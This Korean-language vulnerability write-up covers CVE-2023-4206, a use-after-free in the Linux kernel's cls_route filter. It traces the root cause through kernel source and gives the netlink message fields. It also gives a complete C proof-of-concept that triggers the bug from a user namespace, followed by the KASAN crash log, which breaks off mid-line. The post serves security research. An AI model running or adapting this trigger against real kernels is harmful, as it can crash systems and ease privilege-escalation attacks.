Table of Contents
Introduction #
본 취약점은 리눅스 커널의 Traffic Control (TC) 서브시스템에서 cls_route 필터를 교체하면서 발생하는 use-after-free (UAF) 취약점이다. 본 글에서는 커널 5.18 버전을 기준으로 UAF가 어떻게 발생하는지 알아보고, proof-of-concept (PoC) 코드를 작성해볼 것이다[1].
Rtnetlink를 통해 TC Queuing Discipline이나 TC 필터 기능을 사용하기 위해 설정해야 하는 요소 등에 관한 내용은 다음 링크를 참고하자: https://omacs.prose.sh/cve-2022-2588. 그리고 이 글은 본래 미공개 PoC 작성의 일환으로 시도된 것이지만, KernelCTF에 공격 코드가 제출된 것으로 보여짐을 뒤늦게 확인하였다[3].
Root Cause Analysis #
Cls_route 모듈의 필터를 교체할 때 tc_newfilter 함수가 change 함수 포인터로 route4_change 함수를 호출한다. 이때 별도로 설정하지 않는 구조체 멤버들은 기존의 값을 따라가도록 구현되어({1}) 있다 (net/sched/cls_route.c에서 발췌)[2].
1static int route4_change(struct net *net, struct sk_buff *in_skb,
2 struct tcf_proto *tp, unsigned long base, u32 handle,
3 struct nlattr **tca, void **arg, u32 flags,
4 struct netlink_ext_ack *extack)
5{
6 struct route4_head *head = rtnl_dereference(tp->root);
7 struct route4_filter __rcu **fp;
8 struct route4_filter *fold, *f1, *pfp, *f = NULL;
9 struct route4_bucket *b;
10 struct nlattr *opt = tca[TCA_OPTIONS];
11 struct nlattr *tb[TCA_ROUTE4_MAX + 1];
12 unsigned int h, th;
13 int err;
14 bool new = true;
15
16 if (opt == NULL)
17 return handle ? -EINVAL : 0;
18
19 err = nla_parse_nested_deprecated(tb, TCA_ROUTE4_MAX, opt,
20 route4_policy, NULL);
21 if (err < 0)
22 return err;
23
24 fold = *arg;
25 if (fold && handle && fold->handle != handle)
26 return -EINVAL;
27
28 err = -ENOBUFS;
29 f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL);
30 if (!f)
31 goto errout;
32
33 err = tcf_exts_init(&f->exts, net, TCA_ROUTE4_ACT, TCA_ROUTE4_POLICE);
34 if (err < 0)
35 goto errout;
36
37 if (fold) { /* {1} */
38 f->id = fold->id;
39 f->iif = fold->iif;
40 f->res = fold->res;
41 f->handle = fold->handle;
42
43 f->tp = fold->tp;
44 f->bkt = fold->bkt;
45 new = false;
46 }
47
48 err = route4_set_parms(net, tp, base, f, handle, head, tb,
49 tca[TCA_RATE], new, flags, extack);
50 if (err < 0)
51 goto errout;
52
53 /* ... */
54
55 return 0;
56
57errout:
58 if (f)
59 tcf_exts_destroy(&f->exts);
60 kfree(f);
61 return err;
62}
위 코드의 {1}에서 res 멤버는 classful qdisc의 class를 담기 위한 구조체에 대한 포인터이다. 이 class는 RTM_NEWTCLASS 명령어로 만들 수 있고, 필터를 교체할 때 Netlink argument로 TCA_CLASSID를 주어 res 멤버가 그 포인터를 갖도록 할 수 있다.
필터에 class를 연결할 때는 다음과 같은 콜트레이스를 거쳐 filter_cnt 멤버 변수의 값을 증가시킨다 (net/sched/sch_htb.c에서 발췌)[2].
1tc_new_tfilter()
2route4_change() /* tp->ops->change() */
3route4_set_parms()
4tcf_bind_filter()
5__tcf_bind_filter()
6htb_bind_filter() /* q->ops->cl_ops->bind_tcf() */
1static unsigned long htb_bind_filter(struct Qdisc *sch, unsigned long parent,
2 u32 classid)
3{
4 struct htb_class *cl = htb_find(classid, sch);
5
6 /*if (cl && !cl->level) return 0;
7 * The line above used to be there to prevent attaching filters to
8 * leaves. But at least tc_index filter uses this just to get class
9 * for other reasons so that we have to allow for it.
10 * ----
11 * 19.6.2002 As Werner explained it is ok - bind filter is just
12 * another way to "lock" the class - unlike "get" this lock can
13 * be broken by class during destroy IIUC.
14 */
15 if (cl)
16 cl->filter_cnt++;
17 return (unsigned long)cl;
18}
반대로 연결 해제할 때는 filter_cnt 멤버 변수를 감소시키는 식으로 이해할 수 있다. 그리고 class를 삭제할 때는 다음 콜 트레이스를 거쳐 htb_delete 함수가 filter_cnt가 0인지 확인하고 작업을 진행한다 (net/sched/sch_htb.c에서 발췌)[2].
1tc_ctl_tclass()
2tclass_del_notify()
3htb_delete() /* cops->delete() */
1static int htb_delete(struct Qdisc *sch, unsigned long arg,
2 struct netlink_ext_ack *extack)
3{
4 struct htb_sched *q = qdisc_priv(sch);
5 struct htb_class *cl = (struct htb_class *)arg;
6 struct Qdisc *new_q = NULL;
7 int last_child = 0;
8 int err;
9
10 /* TODO: why don't allow to delete subtree ? references ? does
11 * tc subsys guarantee us that in htb_destroy it holds no class
12 * refs so that we can remove children safely there ?
13 */
14 if (cl->children || cl->filter_cnt)
15 return -EBUSY;
16
17 /* ... */
18}
문제는 필터를 교체할 때 상기 res 멤버 변수를 복사하는데 ({2}), 그 멤버 변수에 담긴 class는 기존 필터가 삭제되면서 unbind된다는 것 ({3})이다. 그래서 교체된 필터가 그 class를 사용함에도 삭제가능한 상태가 된다 (net/sched/cls_route.c에서 발췌)[2].
1static int route4_change(struct net *net, struct sk_buff *in_skb,
2 struct tcf_proto *tp, unsigned long base, u32 handle,
3 struct nlattr **tca, void **arg, u32 flags,
4 struct netlink_ext_ack *extack)
5{
6 struct route4_head *head = rtnl_dereference(tp->root);
7 struct route4_filter __rcu **fp;
8 struct route4_filter *fold, *f1, *pfp, *f = NULL;
9 struct route4_bucket *b;
10 struct nlattr *opt = tca[TCA_OPTIONS];
11 struct nlattr *tb[TCA_ROUTE4_MAX + 1];
12 unsigned int h, th;
13 int err;
14 bool new = true;
15
16 if (opt == NULL)
17 return handle ? -EINVAL : 0;
18
19 err = nla_parse_nested_deprecated(tb, TCA_ROUTE4_MAX, opt,
20 route4_policy, NULL);
21 if (err < 0)
22 return err;
23
24 fold = *arg;
25 if (fold && handle && fold->handle != handle)
26 return -EINVAL;
27
28 err = -ENOBUFS;
29 f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL);
30 if (!f)
31 goto errout;
32
33 err = tcf_exts_init(&f->exts, net, TCA_ROUTE4_ACT, TCA_ROUTE4_POLICE);
34 if (err < 0)
35 goto errout;
36
37 if (fold) {
38 f->id = fold->id;
39 f->iif = fold->iif;
40 f->res = fold->res; /* {2} */
41 f->handle = fold->handle;
42
43 f->tp = fold->tp;
44 f->bkt = fold->bkt;
45 new = false;
46 }
47
48 err = route4_set_parms(net, tp, base, f, handle, head, tb,
49 tca[TCA_RATE], new, flags, extack);
50 if (err < 0)
51 goto errout;
52
53 h = from_hash(f->handle >> 16);
54 fp = &f->bkt->ht[h];
55 for (pfp = rtnl_dereference(*fp);
56 (f1 = rtnl_dereference(*fp)) != NULL;
57 fp = &f1->next)
58 if (f->handle < f1->handle)
59 break;
60
61 tcf_block_netif_keep_dst(tp->chain->block);
62 rcu_assign_pointer(f->next, f1);
63 rcu_assign_pointer(*fp, f);
64
65 if (fold && fold->handle && f->handle != fold->handle) {
66 th = to_hash(fold->handle);
67 h = from_hash(fold->handle >> 16);
68 b = rtnl_dereference(head->table[th]);
69 if (b) {
70 fp = &b->ht[h];
71 for (pfp = rtnl_dereference(*fp); pfp;
72 fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
73 if (pfp == fold) {
74 rcu_assign_pointer(*fp, fold->next);
75 break;
76 }
77 }
78 }
79 }
80
81 route4_reset_fastmap(head);
82 *arg = f;
83 if (fold) {
84 tcf_unbind_filter(tp, &fold->res); /* {3} */
85 tcf_exts_get_net(&fold->exts);
86 tcf_queue_work(&fold->rwork, route4_delete_filter_work);
87 }
88 return 0;
89
90errout:
91 if (f)
92 tcf_exts_destroy(&f->exts);
93 kfree(f);
94 return err;
95}
96
Proof-of-Concept #
이 취약점을 발현시키기 위해서는 다음 순서로 코드가 동작하도록 하면 된다.
- Generate new classful qdisc
- Generate new class for qdisc
- Generate new filter and bind class
- Replace original filter
- Delete class
Class for Classful Queuing Discipline #
Classful qdisc에 대한 class를 생성할 때 설정해야 하는 요소는 다음과 같다.
| nlmsghdr member | Value |
|---|---|
| nlmsg_len | NLMSG_LENGTH(sizeof(< subsystem header structure variable >)) |
| nlmsg_flags | NLM_FREQUEST OR NLM_FCREATE |
| nlmsg_type | RTM_NEWTFILTER |
| tcmsg member | Value |
|---|---|
| tcm_family | AF_UNSPEC |
| tcm_ifindex | ifindex of network interface |
| tcm_handle | class ID (e.g., 0x10000) |
| tcm_parent | TC_HROOT |
| Attribute | Value |
|---|---|
| TCA_OPTIONS | Not NULL |
| TCA_HTBPARMS (nested in TCA_OPTIONS) | Address of tc_htbopt structure; tc_htbopt->rate.rate = tc_htbopt->ceil.rate = 1 |
Traffic Control Filter #
필터에 class를 연결하기 위해 설정해야 하는 요소는 다음과 같다.
| nlmsghdr member | Value |
|---|---|
| nlmsg_len | NLMSG_LENGTH(sizeof(< subsystem header structure variable >)) |
| nlmsg_flags | NLM_FREQUEST OR NLM_FCREATE |
| nlmsg_type | RTM_NEWTFILTER |
| tcmsg member | Value |
|---|---|
| tcm_family | AF_UNSPEC |
| tcm_ifindex | ifindex of network interface |
| tcm_info | 32 bits value, which prio for high 16 bits that is not zero and proto for low 16 bits (e.g., prio=0xbeef and proto=ETH_PLOOP) |
| tcm_handle | 0x1 |
| Attribute | Value |
|---|---|
| TCA_KIND | "route" |
| TCA_OPTIONS | Not NULL |
| TCA_ROUTE4TO (nested in TCA_OPTIONS) | 0x000000001 (64-bit) |
| TCA_ROUTE4FROM (nested in TCA_OPTIONS) | 0x000000001 (64-bit) |
| TCA_ROUTE4CLASSID (nested in TCA_OPTIONS) | Class ID used for generating new class |
Putting it all together #
지금까지 설명한 것으로 UAF를 트리거하는 코드를 작성하면 다음과 같다.
1#define _GNU_SOURCE
2
3#include <stdio.h>
4#include <string.h>
5#include <stdlib.h>
6#include <stdint.h>
7#include <stdbool.h>
8#include <signal.h>
9#include <time.h>
10#include <sys/mman.h>
11#include <sys/types.h>
12#include <sys/utsname.h>
13#include <sys/wait.h>
14#include <sys/socket.h>
15#include <sys/ioctl.h>
16#include <sys/uio.h>
17#include <unistd.h>
18#include <sched.h>
19#include <fcntl.h>
20#include <syslog.h>
21#include <errno.h>
22#include <netinet/in.h>
23#include <arpa/inet.h>
24#include <net/if.h>
25#include <net/if_arp.h>
26#include <linux/if_link.h>
27#include <linux/neighbour.h>
28#include <linux/netconf.h>
29#include <linux/if_ether.h>
30#include <asm/types.h>
31#include <linux/netlink.h>
32#include <linux/rtnetlink.h>
33#include <libnl3/netlink/route/tc.h>
34#include <libnl3/netlink/route/qdisc.h>
35#include <libnl3/netlink/route/qdisc/tbf.h>
36
37/* ----------------------< libnetlink >--------------------------------- */
38
39struct rtnl_handle {
40 int fd;
41 struct sockaddr_nl local;
42 struct sockaddr_nl peer;
43 __u32 seq;
44 __u32 dump;
45 int proto;
46 FILE *dump_fp;
47#define RTNL_HANDLE_F_LISTEN_ALL_NSID 0x01
48 int flags;
49};
50
51#define NLMSG_TAIL(nmsg) \
52 ((struct rtattr *) (((void *) (nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len)))
53
54
55static inline const char *rta_getattr_str(const struct rtattr *rta)
56{
57 return (const char *)RTA_DATA(rta);
58}
59
60static int addattr_l(struct nlmsghdr *n, int maxlen, int type, const void *data,
61 int alen)
62{
63 int len = RTA_LENGTH(alen);
64 struct rtattr *rta;
65
66 if (NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len) > maxlen) {
67 fprintf(stderr,
68 "addattr_l ERROR: message exceeded bound of %d\n",
69 maxlen);
70 return -1;
71 }
72 rta = NLMSG_TAIL(n);
73 rta->rta_type = type;
74 rta->rta_len = len;
75 memcpy(RTA_DATA(rta), data, alen);
76 n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len);
77 return 0;
78}
79
80static int addattr32(struct nlmsghdr *n, int maxlen, int type, __u32 data)
81{
82 return addattr_l(n, maxlen, type, &data, sizeof(__u32));
83}
84
85static int addattr64(struct nlmsghdr *n, int maxlen, int type, __u64 data)
86{
87 return addattr_l(n, maxlen, type, &data, sizeof(__u64));
88}
89
90static struct rtattr *addattr_nest(struct nlmsghdr *n, int maxlen, int type)
91{
92 struct rtattr *nest = NLMSG_TAIL(n);
93
94 addattr_l(n, maxlen, type, NULL, 0);
95 /* addattr_l(n, maxlen, type, &nest, 8); */
96 return nest;
97}
98
99static int addattr_nest_end(struct nlmsghdr *n, struct rtattr *nest)
100{
101 nest->rta_len = (void *)NLMSG_TAIL(n) - (void *)nest;
102 return n->nlmsg_len;
103}
104
105#ifndef SOL_NETLINK
106#define SOL_NETLINK 270
107#endif
108
109#ifndef MIN
110#define MIN(a, b) ((a) < (b) ? (a) : (b))
111#endif
112
113static int rcvbuf =1024 * 1024;
114
115static void rtnl_close(struct rtnl_handle *rth)
116{
117 if (rth->fd >= 0) {
118 close(rth->fd);
119 rth->fd = -1;
120 }
121}
122
123static int rtnl_open_byproto(struct rtnl_handle *rth, unsigned int subscriptions,
124 int protocol)
125{
126 socklen_t addr_len;
127 int sndbuf = 32768;
128
129 memset(rth, 0, sizeof(*rth));
130
131 rth->proto = protocol;
132 rth->fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, protocol);
133 if (rth->fd < 0) {
134 perror("Cannot open netlink socket");
135 return -1;
136 }
137
138 if (setsockopt(rth->fd, SOL_SOCKET, SO_SNDBUF,
139 &sndbuf, sizeof(sndbuf)) < 0) {
140 perror("SO_SNDBUF");
141 return -1;
142 }
143
144 if (setsockopt(rth->fd, SOL_SOCKET, SO_RCVBUF,
145 &rcvbuf, sizeof(rcvbuf)) < 0) {
146 perror("SO_RCVBUF");
147 return -1;
148 }
149
150 memset(&rth->local, 0, sizeof(rth->local));
151 rth->local.nl_family = AF_NETLINK;
152 rth->local.nl_groups = subscriptions;
153
154 if (bind(rth->fd, (struct sockaddr *)&rth->local,
155 sizeof(rth->local)) < 0) {
156 perror("Cannot bind netlink socket");
157 return -1;
158 }
159 addr_len = sizeof(rth->local);
160 if (getsockname(rth->fd, (struct sockaddr *)&rth->local,
161 &addr_len) < 0) {
162 perror("Cannot getsockname");
163 return -1;
164 }
165 if (addr_len != sizeof(rth->local)) {
166 fprintf(stderr, "Wrong address length %d\n", addr_len);
167 return -1;
168 }
169 if (rth->local.nl_family != AF_NETLINK) {
170 fprintf(stderr, "Wrong address family %d\n",
171 rth->local.nl_family);
172 return -1;
173 }
174 rth->seq = time(NULL);
175 return 0;
176}
177
178static int rtnl_open(struct rtnl_handle *rth, unsigned int subscriptions)
179{
180 return rtnl_open_byproto(rth, subscriptions, NETLINK_ROUTE);
181}
182
183static int __rtnl_talk(struct rtnl_handle *rtnl, struct nlmsghdr *n,
184 struct nlmsghdr *answer, size_t maxlen,
185 bool show_rtnl_err)
186{
187 int status;
188 unsigned int seq;
189 struct nlmsghdr *h;
190 struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK };
191 struct iovec iov = {
192 .iov_base = n,
193 .iov_len = n->nlmsg_len
194 };
195 struct msghdr msg = {
196 .msg_name = &nladdr,
197 .msg_namelen = sizeof(nladdr),
198 .msg_iov = &iov,
199 .msg_iovlen = 1,
200 };
201 char buf[32768] = {};
202
203 n->nlmsg_seq = seq = ++rtnl->seq;
204
205 if (answer == NULL)
206 n->nlmsg_flags |= NLM_F_ACK;
207
208 status = sendmsg(rtnl->fd, &msg, 0);
209 if (status < 0) {
210 perror("Cannot talk to rtnetlink");
211 return -1;
212 }
213
214 iov.iov_base = buf;
215 while (1) {
216 iov.iov_len = sizeof(buf);
217 status = recvmsg(rtnl->fd, &msg, 0);
218
219 if (status < 0) {
220 if (errno == EINTR || errno == EAGAIN)
221 continue;
222 fprintf(stderr, "netlink receive error %s (%d)\n",
223 strerror(errno), errno);
224 return -1;
225 }
226 if (status == 0) {
227 fprintf(stderr, "EOF on netlink\n");
228 return -1;
229 }
230 if (msg.msg_namelen != sizeof(nladdr)) {
231 fprintf(stderr,
232 "sender address length == %d\n",
233 msg.msg_namelen);
234 exit(1);
235 }
236 for (h = (struct nlmsghdr *)buf; status >= sizeof(*h); ) {
237 int len = h->nlmsg_len;
238 int l = len - sizeof(*h);
239
240 /* DumpHex(&msg, len); */
241
242 if (l < 0 || len > status) {
243 if (msg.msg_flags & MSG_TRUNC) {
244 fprintf(stderr, "Truncated message\n");
245 return -1;
246 }
247 fprintf(stderr,
248 "!!!malformed message: len=%d\n",
249 len);
250 exit(1);
251 }
252
253 if (nladdr.nl_pid != 0 ||
254 h->nlmsg_pid != rtnl->local.nl_pid ||
255 h->nlmsg_seq != seq) {
256 /* Don't forget to skip that message. */
257 status -= NLMSG_ALIGN(len);
258 h = (struct nlmsghdr *)((char *)h + NLMSG_ALIGN(len));
259 continue;
260 }
261
262 if (h->nlmsg_type == NLMSG_ERROR) {
263 struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(h);
264
265 if (l < sizeof(struct nlmsgerr)) {
266 fprintf(stderr, "ERROR truncated\n");
267 } else if (!err->error) {
268 if (answer)
269 memcpy(answer, h,
270 MIN(maxlen, h->nlmsg_len));
271 return 0;
272 }
273
274 if (rtnl->proto != NETLINK_SOCK_DIAG && show_rtnl_err)
275 fprintf(stderr,
276 "RTNETLINK answers: %s\n",
277 strerror(-err->error));
278 errno = -err->error;
279 return -1;
280 }
281
282 if (answer) {
283 memcpy(answer, h,
284 MIN(maxlen, h->nlmsg_len));
285 return 0;
286 }
287
288 fprintf(stderr, "Unexpected reply!!!\n");
289
290 status -= NLMSG_ALIGN(len);
291 h = (struct nlmsghdr *)((char *)h + NLMSG_ALIGN(len));
292 }
293
294 if (msg.msg_flags & MSG_TRUNC) {
295 fprintf(stderr, "Message truncated\n");
296 continue;
297 }
298
299 if (status) {
300 fprintf(stderr, "!!!Remnant of size %d\n", status);
301 exit(1);
302 }
303 }
304}
305
306static int rtnl_talk(struct rtnl_handle *rtnl, struct nlmsghdr *n,
307 struct nlmsghdr *answer, size_t maxlen)
308{
309 return __rtnl_talk(rtnl, n, answer, maxlen, true);
310}
311
312static int parse_rtattr_flags(struct rtattr *tb[], int max, struct rtattr *rta,
313 int len, unsigned short flags)
314{
315 unsigned short type;
316
317 memset(tb, 0, sizeof(struct rtattr *) * (max + 1));
318 while (RTA_OK(rta, len)) {
319 type = rta->rta_type & ~flags;
320 if ((type <= max) && (!tb[type]))
321 tb[type] = rta;
322 rta = RTA_NEXT(rta, len);
323 }
324 if (len)
325 fprintf(stderr, "!!!Deficit %d, rta_len=%d\n",
326 len, rta->rta_len);
327 return 0;
328}
329
330/* --------------------------------------------------------------------- */
331
332enum {
333 TCA_BUF_MAX = (64 * 1024)
334};
335
336struct tc_req {
337 struct nlmsghdr hdr;
338 struct tcmsg tchdr;
339 uint8_t buf[TCA_BUF_MAX];
340};
341
342void die(const char *funcname)
343{
344 perror(funcname);
345 exit(EXIT_FAILURE);
346}
347
348#define LOG printf
349#define LOG_FUNC() LOG("%s:%d [%s]\n", __FILE__, __LINE__, __func__)
350
351void print_qdisc_info(const char *ifname)
352{
353 int err;
354 struct nlmsghdr res;
355 struct tcmsg *t;
356 struct rtattr *tb[TCA_MAX + 1];
357 struct rtnl_handle rth;
358 struct tc_req qdreq;
359
360 LOG_FUNC();
361
362 err = rtnl_open(&rth, 0);
363 if (err)
364 die("rtnl_open");
365
366 bzero(&qdreq, sizeof(qdreq));
367 qdreq.hdr.nlmsg_len = NLMSG_LENGTH(sizeof(qdreq.tchdr));
368 qdreq.hdr.nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;
369 qdreq.hdr.nlmsg_type = RTM_GETQDISC;
370
371 qdreq.tchdr.tcm_family = AF_UNSPEC;
372 qdreq.tchdr.tcm_ifindex = if_nametoindex(ifname);
373
374 LOG("ifindex: %d\n", qdreq.tchdr.tcm_ifindex);
375
376 err = rtnl_talk(&rth, &qdreq.hdr, &res, TCA_BUF_MAX);
377 if (err < 0)
378 die("rtnl_talk");
379
380 t = NLMSG_DATA(&res);
381 if (res.nlmsg_type != RTM_NEWQDISC && res.nlmsg_type != RTM_DELQDISC)
382 die("Not a qdisc");
383
384 parse_rtattr_flags(tb,
385 TCA_MAX,
386 TCA_RTA(t),
387 res.nlmsg_len - NLMSG_LENGTH(sizeof(*t)),
388 NLA_F_NESTED);
389 printf("qdisc %s %x:[%08x]\n", rta_getattr_str(tb[TCA_KIND]),
390 t->tcm_handle >> 16, t->tcm_handle);
391
392 rtnl_close(&rth);
393}
394
395void user_tc_modify_qdisc(const char *ifname, int cmd, unsigned int flags,
396 uint32_t handle, const char *kind)
397{
398 int err;
399 struct rtnl_handle rth;
400 struct tc_req qdreq;
401 struct rtattr *tail;
402 struct tc_htb_glob glob;
403
404 LOG_FUNC();
405
406 err = rtnl_open(&rth, 0);
407 if (err)
408 die("rtnl_open");
409
410 qdreq.hdr.nlmsg_len = NLMSG_LENGTH(sizeof(qdreq.tchdr));
411 qdreq.hdr.nlmsg_flags = NLM_F_REQUEST | flags;
412 qdreq.hdr.nlmsg_type = cmd;
413
414 qdreq.tchdr.tcm_family = AF_UNSPEC;
415 qdreq.tchdr.tcm_ifindex = if_nametoindex(ifname);
416 qdreq.tchdr.tcm_handle = handle;
417 qdreq.tchdr.tcm_parent = TC_H_ROOT;
418
419 addattr_l(&qdreq.hdr, sizeof(qdreq), TCA_KIND, kind, strlen(kind));
420 tail = addattr_nest(&qdreq.hdr, sizeof(qdreq), TCA_OPTIONS);
421 bzero(&glob, sizeof(glob));
422 glob.version = 0x00030011 >> 16;
423 addattr_l(&qdreq.hdr, sizeof(qdreq), TCA_HTB_INIT,
424 &glob, sizeof(glob));
425 addattr_nest_end(&qdreq.hdr, tail);
426
427 err = rtnl_talk(&rth, &qdreq.hdr, NULL, 0);
428 if (err < 0)
429 die("rtnl_talk");
430
431 rtnl_close(&rth);
432}
433
434void user_tc_ctl_tclass(const char *ifname, int cmd, unsigned int flags,
435 uint32_t handle)
436{
437 int err;
438 struct rtnl_handle rth;
439 struct tc_req qdreq;
440 struct rtattr *tail;
441 struct tc_htb_opt hopt;
442
443 LOG_FUNC();
444
445 err = rtnl_open(&rth, 0);
446 if (err)
447 die("rtnl_open");
448
449 qdreq.hdr.nlmsg_len = NLMSG_LENGTH(sizeof(qdreq.tchdr));
450 qdreq.hdr.nlmsg_flags = NLM_F_REQUEST | flags;
451 qdreq.hdr.nlmsg_type = cmd;
452
453 qdreq.tchdr.tcm_family = AF_UNSPEC;
454 qdreq.tchdr.tcm_ifindex = if_nametoindex(ifname);
455 qdreq.tchdr.tcm_handle = handle; /* classid */
456 qdreq.tchdr.tcm_parent = TC_H_ROOT;
457
458 tail = addattr_nest(&qdreq.hdr, sizeof(qdreq), TCA_OPTIONS);
459 bzero(&hopt, sizeof(hopt));
460 hopt.rate.rate = hopt.ceil.rate = 1;
461 addattr_l(&qdreq.hdr, sizeof(qdreq), TCA_HTB_PARMS,
462 &hopt, sizeof(hopt));
463 addattr_nest_end(&qdreq.hdr, tail);
464
465 err = rtnl_talk(&rth, &qdreq.hdr, NULL, 0);
466 if (err < 0)
467 die("rtnl_talk");
468
469 rtnl_close(&rth);
470}
471
472void user_tc_new_tfilter(const char *ifname, int cmd,
473 unsigned int flags, uint32_t handle, uint16_t prio,
474 uint16_t proto,
475 const char *kind, uint64_t from, uint64_t to,
476 uint32_t classid)
477{
478 int err;
479 struct rtnl_handle rthdle;
480 struct tc_req req;
481 struct rtattr *tail;
482
483 LOG_FUNC();
484
485 err = rtnl_open(&rthdle, 0);
486 if (err < 0)
487 die("rtnl_open");
488
489 bzero(&req, sizeof(req));
490 req.hdr.nlmsg_len = NLMSG_LENGTH(sizeof(req.tchdr));
491 req.hdr.nlmsg_flags = NLM_F_REQUEST | flags;
492 req.hdr.nlmsg_type = cmd;
493
494 req.tchdr.tcm_family = AF_UNSPEC;
495 req.tchdr.tcm_ifindex = if_nametoindex(ifname);
496 req.tchdr.tcm_info = TC_H_MAKE(prio << 16, proto);
497 req.tchdr.tcm_handle = handle;
498
499 addattr_l(&req.hdr, sizeof(req),
500 TCA_KIND,
501 kind, strlen(kind));
502 tail = addattr_nest(&req.hdr, sizeof(req), TCA_OPTIONS);
503 addattr64(&req.hdr, sizeof(req),
504 TCA_ROUTE4_TO,
505 to);
506 addattr64(&req.hdr, sizeof(req),
507 TCA_ROUTE4_FROM,
508 from);
509 if (classid != 0xdeadbeef) {
510 addattr32(&req.hdr, sizeof(req),
511 TCA_ROUTE4_CLASSID,
512 classid);
513 }
514 addattr_nest_end(&req.hdr, tail);
515
516 err = rtnl_talk(&rthdle, &req.hdr, NULL, 0);
517 if (err < 0) {
518 LOG("handle: %x, from: %lx, to: %lx\n", handle, from, to);
519 die("rtnl_talk");
520 }
521
522 rtnl_close(&rthdle);
523}
524
525int main(int argc, char *argv[])
526{
527 int res;
528
529 res = unshare(CLONE_NEWUSER | CLONE_NEWNET);
530 if (res == -1)
531 die("unshare");
532
533 user_tc_modify_qdisc("lo",
534 RTM_NEWQDISC,
535 NLM_F_CREATE,
536 0x10000,
537 "htb");
538 print_qdisc_info("lo");
539
540 user_tc_ctl_tclass("lo",
541 RTM_NEWTCLASS,
542 NLM_F_CREATE,
543 0x10000);
544
545 user_tc_new_tfilter("lo",
546 RTM_NEWTFILTER,
547 NLM_F_CREATE,
548 0x10001,
549 0xbeef, ETH_P_LOOP,
550 "route",
551 0x00000001, 0x00000001, 0x10000);
552
553 user_tc_new_tfilter("lo",
554 RTM_NEWTFILTER,
555 NLM_F_CREATE,
556 0x10001,
557 0xbeef, ETH_P_LOOP,
558 "route",
559 0x2, 0x2, 0xdeadbeef);
560
561 user_tc_ctl_tclass("lo",
562 RTM_DELTCLASS,
563 NLM_F_CREATE,
564 0x10000);
565
566 return 0;
567}
위 코드를 다음 스크립트로 컴파일하고
1#!/bin/bash
2
3
4src=$1
5exe=${src:0:-2}
6
7gcc -I/usr/include/libnl3/ $src -o $exe -lnl-3 -lmnl -lnl-route-3
실행하면 다음과 같이 KASAN 로그를 얻는다.
1$ ./cve-2023-4206-poc
2cve-2023-4206-poc.c:404 [user_tc_modify_qdisc]
3cve-2023-4206-poc.c:360 [print_qdisc_info]
4ifindex: 1
5!!!Deficit 100, rta_len=0
6qdisc htb 1:[00010000]
7cve-2023-4206-poc.c:443 [user_tc_ctl_tclass]
8cve-2023-4206-poc.c:483 [user_tc_new_tfilter]
9cve-2023-4206-poc.c:483 [user_tc_new_tfilter]
10cve-2023-4206-poc.c:443 [user_tc_ctl_tclass]
11ubuntu@ubuntu:~$ [ 143.352899] ================================================
12[ 143.355955] BUG: KASAN: use-after-free in htb_unbind_filter+0x1b/0x30 [sch_h]
13[ 143.357384] Read of size 4 at addr ffff8880befd8078 by task kworker/u4:1/44
14[ 143.358387]
15[ 143.358615] CPU: 1 PID: 44 Comm: kworker/u4:1 Not tainted 5.18.0 #1
16[ 143.359556] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-4
17[ 143.361300] Workqueue: netns cleanup_net
18[ 143.361746] Call Trace:
19[ 143.361981] <TASK>
20[ 143.362191] dump_stack_lvl+0x49/0x60
21[ 143.362538] print_report.cold+0x5e/0x5d0
22[ 143.362915] ? htb_unbind_filter+0x1b/0x30 [sch_htb]
23[ 143.363380] kasan_report+0xaa/0x120
24[ 143.363718] ? htb_unbind_filter+0x1b/0x30 [sch_htb]
25[ 143.364213] __asan_load4+0x89/0xa0
26[ 143.364545] htb_unbind_filter+0x1b/0x30 [sch_htb]
27[ 143.364994] route4_destroy+0x240/0x4d0 [cls_route]
28[ 143.365452] ? route4_init+0x60/0x60 [cls_route]
29[ 143.365883] ? __kasan_check_write+0x14/0x20
30[ 143.366284] ? mutex_unlock+0x81/0xd0
31[ 143.366631] tcf_proto_destroy+0x54/0x150
32[ 143.367009] tcf_proto_put+0x5b/0x80
33[ 143.367348] tcf_chain_flush+0xdf/0x150
34[ 143.367710] __tcf_block_put+0xea/0x1c0
35[ 143.368083] tcf_block_put+0xca/0x110
36[ 143.368430] ? tcf_block_put_ext+0x60/0x60
37[ 143.368817] htb_destroy+0xed/0x760 [sch_htb]
38[ 143.369229] ? rcu_exp_wait_wake+0x570/0x570
39[ 143.369632] ? htb_destroy_class_offload+0x830/0x830 [sch_htb]
40[ 143.370172] ? htb_reset+0x1dd/0x2a0 [sch_htb]
41[ 143.370644] ? qdisc_reset+0x1dd/0x280
42[ 143.370997] qdisc_destroy+0x63/0x150
43[ 143.371353] qdisc_put+0x6b/0x80
44[ 143.371680] dev_shutdown+0x129/0x180
45[ 143.372052] unregister_netdevice_many+0x4dd/0xc50
46[ 143.372502] ? __kasan_check_read+0x11/0x20
47[ 143.372895] ? dev_cpu_dead+0x400/0x400
48[ 143.373258] ? unregister_netdevice_many+0xc50/0xc50
49[ 143.373719] default_device_exit_batch+0x2df/0x370
50[ 143.374171] ? __dev_change_net_namespace+0xaf0/0xaf0
51[ 143.374646] ops_exit_list+0x92/0xa0
52[ 143.374988] cleanup_net+0x2f3/0x5e0
53[ 143.375328] ? unregister_pernet_device+0x60/0x60
54[ 143.375766] ? rtnl_unlock+0xe/0x20
55[ 143.376131] process_one_work+0x44f/0x740
56[ 143.376515] worker_thread+0x2bb/0x6f0
57[ 143.376872] ? process_one_work+0x740/0x740
58[ 143.378738] kthread+0x179/0x1b0
59[ 143.380534] ? kthread_complete_and_exit+0x30/0x30
60[ 143.382479] ret_from_fork+0x22/0x30
61[ 143.384282] </TASK>
62[ 143.385901]
63[ 143.387444] Allocated by task 1066:
64[ 143.389190]
65[ 143.390680] Freed by task 1066:
66[ 143.392354]
67[ 143.393702] The buggy address belongs to the object at ffff8880befd8000
68[ 143.393702] which belongs to the cache kmalloc-1k of size 1024
69[ 143.397306] The buggy address is located 120 bytes inside of
